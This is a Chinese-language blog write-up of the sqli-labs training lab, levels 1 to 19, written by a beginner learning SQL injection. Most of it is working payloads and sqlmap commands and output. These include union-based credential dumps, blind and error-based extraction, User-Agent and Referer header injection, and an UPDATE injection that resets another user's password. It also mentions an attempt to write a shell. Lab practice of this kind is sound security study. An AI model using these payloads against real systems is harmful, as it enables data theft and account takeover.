sqli-labs 1-23


自己尝试写的一篇文章,可能有多处不严谨,仍是小白,请谅解

SQL注入进一步学习(预备)

参考:可能是网上最易懂的SQL手工注入教程【个人笔记精华整理】

  1. 系统函数:

    version() 或 @@version

    system_user()

    current_role()

    user()

    1' union select version(),user()#
    

    database()

    @@datadir:数据库路径

    @@plugindir

    @@basedir

    @@version_compile_os:当前操作系统

    1' union select group_concat(@@datadir, @@version_compile_os),database()#
    
  2. MySQL默认设置

    information_schema.tables/schemata/columns/…

    mysql.user/host/authentication_string/…

先安装sqli-labs

下载后文件包后解压在www文件夹下,然后将php换为5的版本,由于php7使用的函数与sqli-labs的不一致,所以会报错,换了php5后将php.ini中设置为magic_quotes_…=Off以及allow_url_include=On,之后将www目录下sqli-labs-master/sql-connections/db-creds.inc打开,将用户名和密码进行更改,完成后在浏览器中打开sqli-labs-master点击安装,完成。
当然,其实最推荐的是使用docker来进行搭建

接下来使用几个关来了解每种注入类型

less-1

emails,referers,uagents,users

emails:id,email_id

referers:id,referer,ip_address

uagents:id,uagent,ip_address,username

users:id,username,password

users data:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4

Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

id=-1' union select 0,group_concat(id,0x7e,email_id),2 from emails--+

结果为:

Your Login name:1~Dumb@dhakkan.com,2~Angel@iloveu.com,3~Dummy@dhakkan.local,4~secure@dhakkan.local,5~stupid@dhakkan.local,6~superman@dhakkan.local,7~batman@dhakkan.local,8~admin@dhakkan.com

less-2:

select * from users where id=$id limit 0,1

这关是数字型注入,除了少个单引号,其它和less-1的注入方法一致

less-3:

同样的,试了与less-2一样的方法,发现不会有任何阻碍,查看了下源码,发现不同之处只是以下:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

Xpath高级注入:

  • 了解报错函数原理

  • 关键字:extractvalue(), updatexml()

  • 用法 extractvalue(XML_document, XPath_string)

    第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

    第二个参数为路径,字符串格式

concat:返回结果为连接参数产生的字符串

用例:

extractvalue(1,concat(0x5c,(select user())))
updatexml(1,concat(0x7e,(select database()),0x7e),3)

其中的5c和7e使用时最好不好改

less-5:

id=1'  and extractvalue(1,concat(0x7e,(version()),0x7e))--+

id=1' and extractvalue(1,concat(0x7e,(select group_concat(concat(id,0x3e,username,0x3e,password)) from users),0x7e))--+

第一个报错为输入mysql版本,

第二个为输出username和password,但值得注意的是总共只输出了两条数据,其余没有输出,

猜测可能有输出长度限制

解决办法:使用limit 一条一条查看

截断注入

这个本质就是盲注

关键字为 org()=ascii(), mid()=substr()

left(string,n):string为字符串,n为从左边开始取几位

正则表达式regex使用

在less-5中

id=1' and 1=(select 1 from information_schema.tables where table_schema=database() and table_name regexp '^e[a-z]' limit 0,1)--+

Mysql–DBMS(数据库管理系统)(dvwa、security)

  • 基本库:

    1. information_schema
      • tables
        • table_schema
        • table_name
        • table_rows
      • columns
        • table_schema
        • table_name
        • column_name
      • user_privileges
        • grantee
        • privilege_type
      • schemata
    2. mysql
      • user
        • Host
        • User
        • Password
    3. performance_schema
    4. test
  • 新增库

    1. dvwa
      • guestbook
        • comment_id
        • comment
        • name
      • users
        • user_id
        • first_name
        • last_name
        • user
        • password
        • avatar
        • last_login
        • failed_login
    2. security
      • accounts
        • cid
        • username
        • password
        • mysignature
        • is_admin
        • firstname
        • lastname
Mysql-DBMS
基本库
information_schema
tables
table_schema</br>table_name</br>table_rows</br>...
columns
table_schema</br>table_name</br>column_name</br>...
user_privileges
grantee</br>privileges_type</br>...
schemata
...
mysql
user
Host</br>User</br>Password</br>...
...
performance_schema
test
新增库
dvwa
guestbook
comment_id</br>comment</br>name
users
user_id</br>first_name</br>last_name</br>user</br>password</br>avatar</br>last_login</br>failed_login
security
accounts
cid</br>username</br>password</br>mysignature</br>is_admin</br>firstname</br>lastname
...

Less-1

首先看注释符是#还是–+

其次看字符型还是数字型

结论:字符型,注释为--+

判断字段数:

?id=1' order by 3--+
?id=1' order by 4--+  //报错:Unknown column '4' in 'order clause'

判断是否3个位置均可输出

?id=-1' union select version(),user(),database()--+
//output:Your Login name:root@localhost
//		Your Password:security
//后两个位置可以显示输出,而且不能用1,无法直接union

数据库名称为security,查表数量,名称

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

# emails,referers,uagents,users

查各个表的字段:

?id=-1' union select 1,@@datadir,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails'--+
?id=-1' union select 1,@@datadir,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='referers'--+
...

# 这里顺便查看了下mysql路径:
# C:\ProgramMe\phpstudy_pro\Extensions\MySQL5.7.26\data\
# 
# emails --> id,email_id
# referers --> id,referer,ip_address
# uagents --> id,uagent,ip_address,username
# users --> id,username,password

查各个用户的数据:

?id=-1' union select 1,group_concat(id),group_concat(email_id) from emails--+
# 结果:
# Your Login name:1,2,3,4,5,6,7,8
# Password:Dumb@dhakkan.com, Angel@iloveu.com, 			
# Dummy@dhakkan.local, secure@dhakkan.local, 
# stupid@dhakkan.local, superman@dhakkan.local, 
# batman@dhakkan.local, admin@dhakkan.com

?id=-1' union select 1,2,group_concat(id) from referers--+
# 结果:
# 空

?id=-1' union select 1,2,count(id) from uagents--+
# 结果:
# 空

?id=-1' union select 1,2,group_concat(concat(id,0x2d,username,0x2d,password)) from users--+
# 结果:
# 1-Dumb-Dumb, 2-Angelina-I-kill-you, 3-Dummy-p@ssword,
# 4-secure-crappy, 5-stupid-stupidity, 6-superman-genious, 
# 7-batman-mob!le, 8-admin-admin, 9-admin1-admin1, 
# 10-admin2-admin2, 11-admin3-admin3, 12-dhakkan-dumbo, 
# 14-admin4-admin4

源码

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
limit 0,1 --> 取第一个
同理:limit 1,2 --> 取第二个

Less-2

本关为数字型

将Less-1中的所有?id=1' union ...换为?id=1 union ...(即去掉英文单引号即可)

Less-3

先看源码payload:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

很好理解…

将Less-1中的所有?id=1' union ...换为?id=1') union ...(即加上英文小括号即可)

Less-4

看源码

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

相比前面的关,这里多了一句

$id = '"' . $id . '"';

所以,这里使用字符型注入(双引号,不是单引号哦)

?id=-1") union select 1,2,concat(username,0x2d,password) from users limit 12,13 --+

# 结果
# Your Password:admin4-admin4

Less-5

先胡乱尝试,发现只会输出You are in...........

这是盲注

盲注分为两种,布尔盲注和时间盲注(详细了解自行搜)

布尔盲注根据输出的不同(布尔盲注输出只有两种情况,可看成是和否)来判断输入是否正确

时间盲注根据浏览器反应的时间长短来判断输入是否正确

布尔盲注语法结构

?id=1 and ...--+

时间盲注语法结构

?id=1' and if(..., sleep(10)) --+ 

布尔盲注

下面使用布尔盲注手工注入一下:

判断字符型或数字型盲注

?id=1 and 1=1--+    //true
?id=1 and 1=2--+    //true
?id=1' and 1=1--+   //true
?id=1' and 1=2--+   //false

# 结论:字符型

判断数据库名称长度

?id=1' and length(database())>1--+  //true
?id=1' and length(database())>5--+  //true
?id=1' and length(database())=8--+  //true
# 结论:数据库名称长度为8

判断数据库名称(这个过程慢慢猜吧,使用字符对应的十进制数

?id=1' and ascii(substr(database(),1,1))>97--+  //true
?id=1' and ascii(substr(database(),1,1))>120--+  //false
?id=1' and ascii(substr(database(),1,1))=115--+  //true-->s

?id=1' and ascii(substr(database(),2,2))=101--+  //true-->e

?id=1' and ascii(substr(database(),3,3))=99--+  //true-->c

?id=1' and ascii(substr(database(),4,4))=117--+  //true-->u

?id=1' and ascii(substr(database(),5,5))=114--+  //true-->r

?id=1' and ascii(substr(database(),6,6))=105--+  //true-->i

?id=1' and ascii(substr(database(),7,7))=116--+  //true-->t

?id=1' and ascii(substr(database(),8,8))=121--+  //true-->y
# 结论:数据库名称为security

判断数据库内表的数量:

?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+   //true

?id=1' and (select count(table_name) from information_schema.tables where table_schema=0x7365637572697479)=4--+

# database()是security,而security的十六进制编码为0x7365637572697479,故以上两句等价
# 结论:有4个表

判断四个表每个表的名称长度(这个比较长,慢慢看懂):

?id=1' and length( substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1) )=6--+    //true
# 结论:第一个表的名称长度为6
# limit 0,1为取第一个元素,在这里的元素为表的名称
# 即limit 0,1为取第一个表的名称
# limit 0,1的意思为从第0个位置开始取1个元素
# substr(string, 1)的意思为取从第一个位置开始取往后所有的元素
# substr(string, 1,2)的意思为取从第一个位置开始取到第二个位置为止的元素

?id=1' and length( substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),1) )=8--+    //true
# 结论:第二个表的名称长度为8
# limit 1,1为取第二个表的名称

?id=1' and length( substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 2,1),1) )=7--+    //true
# 结论:第三个表的名称长度为7

?id=1' and length( substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),1) )=5--+    //true
# 结论:第四个表的名称长度为5

判断第一个表的名称:

?id=1' and ascii( substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1,1) )=101--+   //true
# 结论:第一个表的第一个位置为e

?id=1' and ascii( substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),2,2) )=109--+   //true
# 结论:第一个表的第二个位置为m

...
# 结论:第一个表的名称为:emails

判断第二个表的名称:

?id=1' and ascii( substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),1,1) )=114--+   //true
# 结论:第二个表的第一个位置为r

...
# 结论:第二个表的名称为:referers

同理:第三个表名称为uagents,第四个表的名称为:users

判断emails表的字段数量

?id=1' and ( select count(column_name) from information_schema.columns where table_schema=0x7365637572697479 and table_name='emails' limit 0,1 )=2--+

?id=1' and ( select count(column_name) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x656d61696c73 limit 0,1 )=2--+
# emails的十六进制为0x656d61696c73
# 所以以上两句等价
# 为什么要用十六进制呢,因为有时候会遇到不允许输入字符串的情况,这时十六进制
# 数便展示它的威力了
# 结论:第一个表的字段数量为2

判断emails表内每个字段的名称长度

?id=1' and length(substr((select column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x656d61696c73 limit 0,1),1) )=2--+
# 结论:emails表中第一个字段的名称长度为2

?id=1' and length(substr((select column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x656d61696c73 limit 1,1),1) )=8--+
# 结论:emails表中第二个字段的名称长度为8

判断emails内第一个字段的名称

?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x656d61696c73 limit 0,1),1,1) )=105--+
# 结论:第一个字段第一个位置的字符为:i

?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x656d61696c73 limit 0,1),2,2) )=100--+
# 结论:第一个字段第二个位置的字符为:d
# 结论:第一个字段名称为:id

同理,emails表内第二个字段的名称为email_id

同理,referers --> id,referer,ip_address

​ uagents -->id,uagent,ip_address,username

​ users --> id,username,password

这个过程要键入很多sql代码(过程高度重复),需要耐心完成

接下来就相对轻松了,根据数据库,表,字段的内容查对应数据

判断emails表中的数据

?id=1' and length(substr((select email_id from emails limit 0,1),1))=16--+   //true

?id=1' and ascii(substr((select email_id from emails limit 0,1),1,1))=68--+  //true-->D

剩余数据可以慢慢查,大同小异,但数据量太大了…

可以在Less-1查看后测试一下

时间盲注

根据时间长短来判断语句是否正确

?id=1' and if(1=1,sleep(6),1)--+
# 浏览器反应时间大致为6s,表明语句'1=1'正确

?id=1' and if(1=2,sleep(6),1)--+
# 浏览器反应迅速,表明语句'1=2'错误

?id=1' and if(length(database()=8),sleep(6),1)--+
# 浏览器反应时间大致为6s,表明语句'length(database()=8)'正确

if(参数1, ...)函数的参数1输入与布尔盲注and之后的语句相同的语句即可

这种类型太耗时间,不多说,适用于自动化类型的注入

报错注入

这道题也可以使用报错注入,相比于盲注,可以快速获得数据库信息

?id=1' and extractvalue(1,concat(0x7e,(version()),0x7e))--+
//显示:XPATH syntax error: '~5.7.26~'

?id=1' and 7eextractvalue(1,concat(0x7e,(select group_concat(concat(id,0x3e,username,0x3e,password)) from users),0x7e))--+
//显示:XPATH syntax error: '~1>Dumb>Dumb,2>Angelina>Dumb,3>D'

发现第二条sql语句报错信息明显不足…

最有意思的是将第二条语句的其中一个0x7e换成0x3e居然会显示不同位置的信息,哈哈,神奇,不懂为什么,但试了级少部分其他字符的十六进制,发现0x7e输出的信息是相对最多的

?id=1' and extractvalue(1,concat(0x2d,(select group_concat(concat(id,0x3e,username,0x7e,password)) from users),0x2d))--+
//显示:XPATH syntax error: '~Dumb,2>Angelina~I-kill-you,3>Du'

SQLMAP使用

在cmd输入:

python sqlmap.py -u "http://192.168.182.1/sqli-labs-master/Less-5/?id=1"

第一次测试会遇到很多询问,直接确定即可

也可以直接输入以下命令:

python sqlmap.py -u "http://192.168.182.1/sqli-labs-master/Less-5/?id=1" --batch

--batch的意思是自动选择参数

结果:

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 6448=6448 AND 'ynph'='ynph

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: id=1' AND GTID_SUBSET(CONCAT(0x7178767171,(SELECT (ELT(1447=1447,1))),0x71706a7071),1447) AND 'vXGK'='vXGK

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 8560 FROM (SELECT(SLEEP(5)))zTfh) AND 'qJef'='qJef

因此有布尔盲注,报错注入和时间盲注

查数据库

python sqlmap.py -u "http://192.168.182.1/sqli-labs-master/Less-5/?id=1" --dbs

结果:

available databases [8]:
[*] challenges
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] runoob
[*] security
[*] sys

同样可以尝试以下payload:

python sqlmap.py -u "http://192.168.182.1/sqli-labs-master/Less-5/?id=1" --is-dba --current-db --current-user --banner --roles

python sqlmap.py -u "http://192.168.182.1/sqli-labs-master/Less-5/?id=1" -D security -T users -C id,username,password --dump

以下使用sqlmap尝试一次注入后写shell

对dvwa进行尝试:

python sqlmap.py -u "http://192.168.182.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie "PHPSESSID=b2c55e3a4f025a481ba51cb690389080; security=low" --batch

也尝试了利用burpsuite抓包后保存在桌面get.txt文件中,读取进行sql注入

python sqlmap.py -r "c:\Users\ljl\desktop\get.txt"

继续输入以下payload

python sqlmap.py -r "c:\Users\ljl\desktop\get.txt" -p"id" --current-db --current-user --is-dba

发现dvwa不是root权限

换回sqli-labs进行尝试,同样抓包放进getsqli.txt后在cmd输入payload:

python sqlmap.py -r "c:\Users\ljl\desktop\getsqli.txt" -p"id" --is-dba

是root权限

但后面无法尝试成功,或许以后有机会再试

(3条消息) Sqlmap 使用方法小结_0verWatch的博客-CSDN博客_sqlmap使用教程

(3条消息) mysql执行shell命令_sqlmap --os-shell原理_weixin_39960793的博客-CSDN博客

(3条消息) sqlmap写文件为空之谜_weixin_33859665的博客-CSDN博客

弄了一天了…还是没弄好,希望以后会懂,sqlmap是个大学问

利用python自动化布尔盲注

这个以后自己写一写

Less-6

看源码payload:

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

双引号盲注

将第五关的单引号换成双引号即可

Less-7

$id=$_GET['id'];
...
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

所以是双括号盲注

照例使用less-5的方法

以下使用sqlmap尝试

python sqlmap.py -u "http://192.168.182.1/sqli-labs-master/Less-7/?id=1" --batch --current-db

结果:

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 289 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1') AND 2083=2083 AND ('EaYp'='EaYp

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1') AND (SELECT 5812 FROM (SELECT(SLEEP(5)))AWIB) AND ('tOSX'='tOSX
---
[12:32:51] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.12
[12:32:51] [INFO] fetching current database
[12:32:51] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[12:32:51] [INFO] retrieved: security
current database: 'security'

继续输入:

python sqlmap.py -u "http://192.168.182.1/sqli-labs-master/Less-7/?id=1" --batch -Dsecurity --tables

结果:

Database: security
[4 tables]
+----------+
| emails   |
| referers |
| uagents  |
| users    |
+----------+

Less-8

认真观察了下源码,发现和Less-5相差不大,差别在以下位置:

# Less-5
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="3" color="#FFFF00">';
	print_r(mysql_error());
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}
# Less-8
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="5" color="#FFFF00">';
	//echo 'You are in...........';
	//print_r(mysql_error());
	//echo "You have an error in your SQL syntax";
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}

所以是报错信息不会显示…不能使用报错注入了

例如:

?id=1' and extractvalue(1,concat(0x7e, version(), 0x7e))--+

结果无任何报错输出信息

尝试sqlmap

python sqlmap.py -u "http://192.168.182.1/sqli-labs-master/Less-8/?id=1" --batch --current-db

结果:

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 9902=9902 AND 'URDE'='URDE

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 4277 FROM (SELECT(SLEEP(5)))Vjrl) AND 'EZoT'='EZoT
---

Less-9

老样子,审计代码

#Less-9
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="5" color="#FFFF00">';
	echo 'You are in...........';
	//print_r(mysql_error());
	//echo "You have an error in your SQL syntax";
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}
	
	
#Less-8
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="5" color="#FFFF00">';
	//echo 'You are in...........';
	//print_r(mysql_error());
	//echo "You have an error in your SQL syntax";
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}

可以发现,Less-9关无论输入正确还是错,都会输出You are in...........

按道理应不会存在布尔盲注,只存在时间盲注

但使用sqlmap发现,结果显示同时存在布尔盲注和时间盲注

认真观察代码发现,Less9关输入错误与输入正确的输出还是有一丢丢不一样的,

#Less-9
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="5" color="#FFFF00">';
	echo 'You are in...........';
	//print_r(mysql_error());
	//echo "You have an error in your SQL syntax";
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';
	#正是这一句
	
	}

所以在html页面的源码中错误输入会多出一句:

<font font="" size="3" color="#0000ff"></font>

Less-10

首先是双引号盲注

无报错注入

存在布尔盲注与时间盲注,尽管错误输入与正确输入都有You are in ....的输出

但这次竟然发现html页面回复竟然一样…em…不知道为什么…

使用sqlmap

python sqlmap.py -u "http://192.168.182.1/sqli-labs-master/Less-10/?id=1" --batch -D security --tables --columns

成功显示

Less-11

首先需要知道至少一个用户名(假设已知有一个用户名Dumb)

第二,注释符变了,由--+变为#,不知道什么原理

而且为POST方式提交数据

@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";

上传参数为uname和passwd,分别对应Username框和Password框中的内容

接下来对Username进行sql注入:

Dumb' and 1=1#   //true
Dumb' and 1=2#   //false

Dumb' order by 2#  //true
Dumb' order by 3#  //false

-1' union select database()  //true
...

之后方法同Less-1

其实也可以对Password进行注入

Less-12

payload需要加括号,而且为双引号:

Dumb") and 1=1# //true
Dumb") and 1=2# //false

-1") union select database()  //true
...

Less-13

盲注:

if($row)
	{
  		//echo '<font color= "#0000ff">';	
  		
  		echo "<br>";
		echo '<font color= "#FFFF00" font size = 4>';
		//echo " You Have successfully logged in " ;
		echo '<font size="3" color="#0000ff">';	
		echo "<br>";
		//echo 'Your Login name:'. $row['username'];
		//echo "<br>";
		//echo 'Your Password:' .$row['password'];
		//echo "<br>";
		echo "</font>";
		echo "<br>";
		echo "<br>";
		echo '<img src="../images/flag.jpg"   />';	
		
  		echo "</font>";
  	}

输出用户名密码字的语句被注释了

盲注走起!

Dumb') and 1=1# //true
Dumb') and 1=2# //false

Dumb') order by 2#  //true
Dumb') order by 3#  //false

Dumb') and length(database())=8#  //true
...

也可以使用sqlmap

python sqlmap.py -u "http://192.168.182.1/sqli-labs-master/Less-13/" --batch --data="uname=Dumb&passwd=Dumb&submit=submit" -p"uname"

# 提示:-p表示所选要注入的参数,不过其实uname和passwd参数均可注入,建议自己试试(将-p后内容(包括-p)去掉即表示对可能的一个参数进行注入)

结果:

---
Parameter: uname (POST)
    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: uname=Dumb') AND GTID_SUBSET(CONCAT(0x7178706271,(SELECT (ELT(9322=9322,1))),0x7171716b71),9322)-- dLgp&passwd=Dumb&submit=submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uname=Dumb') AND (SELECT 1229 FROM (SELECT(SLEEP(5)))HnxO)-- LaUh&passwd=Dumb&submit=submit
---
[16:04:22] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 5.2.17
back-end DBMS: MySQL >= 5.6

结果显示报错注入与时间盲注,但事实是可以布尔注入

Less-14

双引号盲注

使用sqlmap

python sqlmap.py -u "http://192.168.182.1/sqli-labs-master/Less-14/" --batch --data="uname=Dumb&passwd=Dumb&submit=submit"
---
Parameter: uname (POST)
    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: uname=Dumb" AND GTID_SUBSET(CONCAT(0x716a6a7671,(SELECT (ELT(4168=4168,1))),0x716a6b7071),4168)-- ugFO&passwd=Dumb&submit=submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uname=Dumb" AND (SELECT 5828 FROM (SELECT(SLEEP(5)))AETI)-- KQmA&passwd=Dumb&submit=submit
---
[16:37:43] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.17, Apache 2.4.39
back-end DBMS: MySQL >= 5.6

Less-15

单引号盲注

Less-16

双引号+小括号盲注

Less-17

代码审计:

check_input($value):对用户名取前15个字符,如果magic_quotes_gpc为of
f不执行'去反斜杠'操作,下一步去除一些特殊转义字符(包括',",\n等等),再在两边加上单引号
$uname=check_input($_POST['uname']);  
$passwd=$_POST['passwd'];
...
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
...
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

这一关是知道用户名即可修改密码,但用户名很难注入甚至是不可能

可以考虑对password进行注入,但由于没有输出有效的数据库信息,因此很难获得数据库信息,但可以修改另一个用户的密码(前提是需要知道另一个用户的账号)

源码:

$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

若POST的数据中$passwd为:

uname=Dumb
&passwd=password' where username="Dummy"#
&submit=Submit

那当执行index.php时,会有如下效果:

$update="UPDATE users SET password = 'password' where username="Dummy"#' WHERE username='$row1'";

可以看到,#后的数据无效了,访问的用户名变为’Dummy’

另外可以对passwd进行报错注入!

passwd=Dumb' and extractvalue(1,concat(0x7e, database(),0x7e))#

进行报错注入,信息总是不全…

结果:

XPATH syntax error: '~security~'

如果是

passwd=Dumb' and extractvalue(1,concat(0x2d, database(),0x2d))#

报错:

Truncated incorrect DOUBLE value: 'Dumb'

连两条-都没显示出来(-的十六进制为0x2d),而且,这什么报错呀

再试:

passwd=Dumb' and extractvalue(1,concat(0x2d, version(),0x2d))#

结果:

XPATH syntax error: '.26-'

服了,显示了一条-,我是该谢天谢地吗,信息都不全…

还是试回0x7e

passwd=Dumb' and extractvalue(1,concat(0x7e, version(),0x7e))#

结果:

XPATH syntax error: '~5.7.26~'

成功…以后研究研究这里面的学问

使用sqlmap:

python sqlmap.py -u "http://192.168.182.1/sqli-labs-master/Less-17/" --batch --data="uname=Dumb&passwd=Dumb&submit=submit"
---
Parameter: passwd (POST)
    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: uname=Dumb&passwd=Dumb' WHERE 4756=4756 AND GTID_SUBSET(CONCAT(0x7162706271,(SELECT (ELT(6160=6160,1))),0x716b7a7a71),6160)-- FMHQ&submit=submit
---
[17:43:19] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 5.2.17
back-end DBMS: MySQL >= 5.6

Less-18

$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
...
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
...
$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
...
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

首先用户名和密码就不要想了,check_input()使得不太可能可以注入

所以这一关需要知道用户名和密码为前提

$uagent和IP倒是可以

使用火狐的插件hackbar来操作(自己上网搜怎么用),添加user-agent信息

1', 1, extractvalue(1,concat(0x7e, user(), 0x7e))) #
或者
1', 1, extractvalue(1,concat(0x7e, version(), 0x7e))) #
或者
1', 1, extractvalue(1,concat(0x7e, @@datadir, 0x7e))) #
或者
1', 1, extractvalue(1,concat(0x7e, database(), 0x7e))) #
或者
1', 1, extractvalue(1,concat(0x7e, (select table_name from information_schema.tables where table_schema='security' limit 0,1), 0x7e))) #

报错信息分别为:

XPATH syntax error: 'root@localhost-'

XPATH syntax error: '5.7.26-'

XPATH syntax error: '~C:\ProgramMe\phpstudy_pro\Exten'
# 这一句很明显没有显示完成

XPATH syntax error: '~security~'

XPATH syntax error: '~emails~'

再尝试下updatexml的报错注入:

1',1,updatexml(1,concat(0x3a,database(),0x3a),1))#

报错:

XPATH syntax error: ':security:'

好奇0x3a这个字符是否和extractvalue()函数中的会因不同字符而输出不同

试一下换一个字符十六进制:

1',1,updatexml(1,concat(0x2d,database(),0x2d),1))#

报错:

Column 'username' cannot be null

神奇…居然不同结果…这结果还很奇怪…以后有兴趣研究研究

使用sqlmap:

python sqlmap.py -r "C:/Users/ljl/Desktop/getsqli18.txt" --batch -p"user-agent" --current-db -D security -tables

结果:

---
Parameter: User-Agent (User-Agent)
    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0'+(SELECT 0x4674717a WHERE 6265=6265 AND GTID_SUBSET(CONCAT(0x7178766b71,(SELECT (ELT(8484=8484,1))),0x71717a7171),8484))+'

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0'+(SELECT 0x66744d49 WHERE 7264=7264 AND (SELECT 1281 FROM (SELECT(SLEEP(5)))EnJS))+'
---
[20:58:28] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.17, Apache 2.4.39
back-end DBMS: MySQL >= 5.6
[20:58:28] [INFO] fetching current database
[20:58:28] [INFO] resumed: 'security'
current database: 'security'
[20:58:28] [INFO] fetching tables for database: 'security'
[20:58:28] [WARNING] reflective value(s) found and filtering out
[20:58:28] [INFO] retrieved: 'emails'
[20:58:28] [INFO] retrieved: 'referers'
[20:58:28] [INFO] retrieved: 'uagents'
[20:58:28] [INFO] retrieved: 'users'
Database: security
[4 tables]
+----------+
| emails   |
| referers |
| uagents  |
| users    |
+----------+

Less-19

查看源码:

$uagent = $_SERVER['HTTP_REFERER'];

这次的$uagent的值来自referer,那就差不多了

照样报错注入

1', extractvalue(1, concat(0x7e, user(), 0x7e)))#
1' , extractvalue(1, concat(0x7e, version(), 0x7e)))#
1' , extractvalue(1, concat(0x7e, (select database()), 0x7e)))#
XPATH syntax error: '~root@localhost~'
XPATH syntax error: '~5.7.26~'
XPATH syntax error: '~security~'

